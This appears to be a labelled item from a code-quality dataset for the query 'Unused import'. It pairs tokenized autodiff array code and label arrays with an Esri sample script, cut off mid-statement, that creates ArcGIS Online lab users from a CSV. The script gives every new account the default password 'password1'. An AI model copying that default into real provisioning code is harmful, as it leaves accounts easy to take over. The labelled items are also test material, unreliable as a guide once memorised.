"Spar", "se", "Array_", "]_", "=_", "Array", "Node_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "primitive_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "take_", "(_", "A_", ",_", "idx_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "A_", "[_", "idx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "\\u", "grad", "\\u", "take_", "(_", "ans_", ",_", "A_", ",_", "idx_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "lambda_", "g_", ":_", "unta", "ke_", "(_", "g_", ",_", "idx_", ",_", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "primitive_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "unta", "ke_", "(_", "x_", ",_", "idx_", ",_", "template_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "array", "\\u", "dt", "ype", "\\u", "mappings_", "[_", "template_", "._", "dtype_", "]_", "._", "new", "\\u", "spars", "e\\u", "array_", "(_", "template_", ",_", "idx_", ",_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u\\u", "slots\\u\\u_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "getitem\\u\\u_", "=_", "take_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u", "array", "\\u", "priorit", "y\\u\\u", "_", "=_", "100.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Const", "ant", "s", " ", "w", ".", "r", ".", "t", " ", "float", " ", "data", " ", "just", " ", "pass", " ", "tho", "ugh", "_", "\\u\\u\\uNL\\u\\u\\u_", "shape_", "=_", "property_", "(_", "lambda_", "self_", ":_", "self_", "._", "value_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ndim_", "=_", "property_", "(_", "lambda_", "self_", ":_", "self_", "._", "value_", "._", "ndim_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "size_", "=_", "property_", "(_", "lambda_", "self_", ":_", "self_", "._", "value_", "._", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dtype_", "=_", "property_", "(_", "lambda_", "self_", ":_", "self_", "._", "value_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T_", "=_", "property_", "(_", "lambda_", "self_", ":_", "an", "p_", "._", "transpose_", "(_", "self_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "len\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "len_", "(_", "self_", "._", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "zero", "s", "\\u", "like_", "(_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "an", "p_", "._", "zeros_", "(_", "value_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "sum", "\\u", "out", "grads_", "(_", "out", "grads_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "out", "grads_", ")_", "is_", "1_", "and_", "not_", "isinstance_", "(_", "getv", "al_", "(_", "out", "grads_", "[_", "0_", "]_", ")_", ",_", "Spar", "se", "Array_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "out", "grads_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "primi", "tiv", "e\\u", "sum", "\\u", "arrays_", "(_", "*_", "out", "grads_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "cast_", "(_", "value_", ",_", "example_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "array", "cast_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "result_", "._", "shape_", "!=_", "example_", "._", "shape_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "result_", "._", "reshape_", "(_", "example_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "new", "\\u", "spars", "e\\u", "array_", "(_", "template_", ",_", "idx_", ",_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Spar", "se", "Array_", "(_", "template_", ",_", "idx_", ",_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "neg", "\\u\\u_", "(_", "self_", ")_", ":_", "return_", "an", "p_", "._", "negative_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "add\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "add_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "sub\\u", "\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "subtract_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "mul\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "multiply_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "pow", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "power_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "div\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "divide_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "mod", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "mod_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "true", "div\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "true", "\\u", "divide_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "rad", "d\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "add_", "(_", "other_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "rsu", "b", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "subtract_", "(_", "other_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "rm", "ul", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "multiply_", "(_", "other_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "rpo", "w", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "power_", "(_", "other_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "rdi", "v", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "divide_", "(_", "other_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "rmo", "d\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "mod_", "(_", "other_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "rtr", "ued", "iv", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "true", "\\u", "divide_", "(_", "other_", ",_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "eq\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "equal_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "ne\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "not", "\\u", "equal_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "gt", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "greater_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "ge", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "great", "er", "\\u", "equal_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "lt\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "less_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Array", "Node_", "(_", "Node_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "le", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "return_", "an", "p_", "._", "less", "\\u", "equal_", "(_", "self_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "new", "\\u", "array", "\\u", "node_", "(_", "value_", ",_", "tape", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "array", "\\u", "dt", "ype", "\\u", "mappings_", "[_", "value_", "._", "dtype_", "]_", "(_", "value_", ",_", "tape", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "Can", "'", "t", " ", "different", "iate", " ", "wrt", " ", "nump", "y", " ", "arrays", " ", "of", " ", "dt", "ype", " ", "{", "0", "}\"_", "._", "format_", "(_", "value_", "._", "dtype_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "primitive_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "array", "cast_", "(_", "val_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "val_", ",_", "float_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "an", "p_", "._", "array_", "(_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "an", "p_", "._", "is", "\\u", "gar", "ray_", "(_", "val_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "an", "p_", "._", "array_", "(_", "val_", ",_", "dtype_", "=_", "an", "p_", "._", "float64_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "an", "p_", "._", "isco", "mple", "xo", "bj_", "(_", "val_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "an", "p_", "._", "array_", "(_", "an", "p_", "._", "real_", "(_", "val_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "Can", "'", "t", " ", "cast", " ", "type", " ", "{", "0", "}", " ", "to", " ", "array", "\"_", "._", "format_", "(_", "type_", "(_", "val_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "primitive_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "array", "cast_", "(_", "val_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "val_", ",_", "float_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "an", "p_", "._", "array_", "(_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "an", "p_", "._", "isco", "mple", "xo", "bj_", "(_", "val_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "an", "p_", "._", "array_", "(_", "an", "p_", "._", "real_", "(_", "val_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "\"", "Can", "'", "t", " ", "cast", " ", "type", " ", "{", "0", "}", " ", "to", " ", "array", "\"_", "._", "format_", "(_", "type_", "(_", "val_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "primitive_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "primi", "tiv", "e\\u", "sum", "\\u", "arrays_", "(_", "*_", "arrays_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "array_", "=_", "type_", "(_", "new", "\\u", "array", "\\u", "node_", "(_", "arrays_", "[_", "0_", "]_", ",_", "[_", "]_", ")_", ")_", "._", "zero", "s", "\\u", "like_", "(_", "arrays_", "[_", "0_", "]_", ")_", "#", " ", "TOD", "O", ":", " ", "simplify", " ", "this_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "array_", "in_", "arrays_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "array_", ",_", "Spar", "se", "Array_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "np_", "._", "add_", "._", "at_", "(_", "new", "\\u", "array_", ",_", "array_", "._", "idx_", ",_", "array_", "._", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "array_", "+=_", "array_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "new", "\\u", "array_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Spar", "se", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u\\u", "array", "\\u", "priorit", "y\\u\\u", "_", "=_", "150", ".0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Spar", "se", "Array_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "template_", ",_", "idx_", ",_", "val_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "shape_", "=_", "template_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "idx_", "=_", "idx_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "val_", "=_", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dtype_", "=_", "template_", "._", "dtype_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
Esri/ago-tools/samples/MakeLab_CreateGroupAndUsersFromCsv.py
[ { "content": "# Requires admin role.\nimport csv, time,sys,arcpy\nfrom agoTools.admin import Admin\nadminAccount = arcpy.GetParameterAsText(0)\nadminPassword =arcpy.GetParameterAsText(1)\nclassName = arcpy.GetParameterAsText(2)\nclassSnippet = arcpy.GetParameterAsText(3)\ncsvFile = arcpy.GetParameterAsText(4)\nuserPrefix = arcpy.GetParameterAsText(5)\nuserPassword = arcpy.GetParameterAsText(6)\nuserRole = arcpy.GetParameterAsText(7)\ninstructorAccount = arcpy.GetParameterAsText(8)\nprovider = \"arcgis\"\n\nif not adminAccount:\n adminAccount = \"your ago account\"\nif not adminPassword:\n adminPassword = \"your ago password\"\nif not className:\n className = \"Sample Class\"\nif not classSnippet:\n classSnippet = \"Snippet goes here\"\nif not csvFile:\n csvFile = r\"C:\\students.csv\"\nif not userPrefix:\n userPrefix = \"labUser_\"\nif not userPassword:\n userPassword = \"password1\"\nif not userRole:\n userRole = \"account_user\"\nif not provider:\n provider = \"arcgis\"\n\n##Unicode is not encoding properly so convert all arcpy params\nadminAccount = str(adminAccount)\nadminPassword = str(adminPassword)\nclassName = str(className)\nclassSnippet = str(classSnippet)\nuserPrefix = str(userPrefix)\nuserPassword = str(userPassword)\nuserRole = str(userRole)\nprovider = str(provider)\n\narcpy.AddMessage(\"Logging in...\")\ntry:\n agoAdmin = Admin(adminAccount,password=adminPassword)\nexcept:\n arcpy.AddError(\"Login failed. Please re-enter your admin username and password.\")\n sys.exit()\n\n\n##Get roles from the portal so we can translate the user-entered name to the role id that the api needs.\n##Also confirm that the user-entered role is valid.\nallRoles = agoAdmin.getRoles()\n##getRoles doesn't return predefined system roles, so we'll add those\nroles = {'Administrator':'org_admin', 'Publisher':'org_publisher', 'Author':'org_author', 'User':'org_viewer'}\nfor role in allRoles:\n roles[role[\"name\"]] = role[\"id\"]\nif not userRole in roles.keys():\n arcpy.AddError(userRole + \" is not a valid role.\")\n sys.exit()\n\nroleId =roles[userRole]\n\narcpy.AddMessage(\"Creating Group...\")\nprint \"Creating Group...\"\ngroup = agoAdmin.createGroup(className,classSnippet)\ndescription = \"Lab account for \" + className\n\nif \"group\" in group:\n groupId = group[\"group\"][\"id\"]\n arcpy.AddMessage(\"Creating Users...\")\n print \"Creating Users...\"\n i = 1\n users = []\n sameNameCounter = 1\n\n with open(csvFile,\"rb\") as userFile:\n rows = csv.reader(userFile)\n for row in rows:\n userFirstName = row[0]\n userLastName = row[1]\n userEmail = row[2]\n username = userPrefix + \"_\" + userLastName\n\n if username in users:\n username += \"_\" + str(sameNameCounter)\n sameNameCounter +=1\n arcpy.AddMessage(\"creating \" + username + \"...\")\n print \"creating \" + username + \"...\"\n agoAdmin.createUser(username,userPassword,userFirstName,userLastName,userEmail,description,roleId,provider)\n users.append(username)\n\n arcpy.AddMessage(\"Adding New Users to Group...\")\n print \"Adding Users to Group...\"\n agoAdmin.addUsersToGroups(users,[groupId])\n if instructorAccount:\n arcpy.AddMessage(\"Reassigning group ownership to \" + instructorAccount + \"...\")\n print 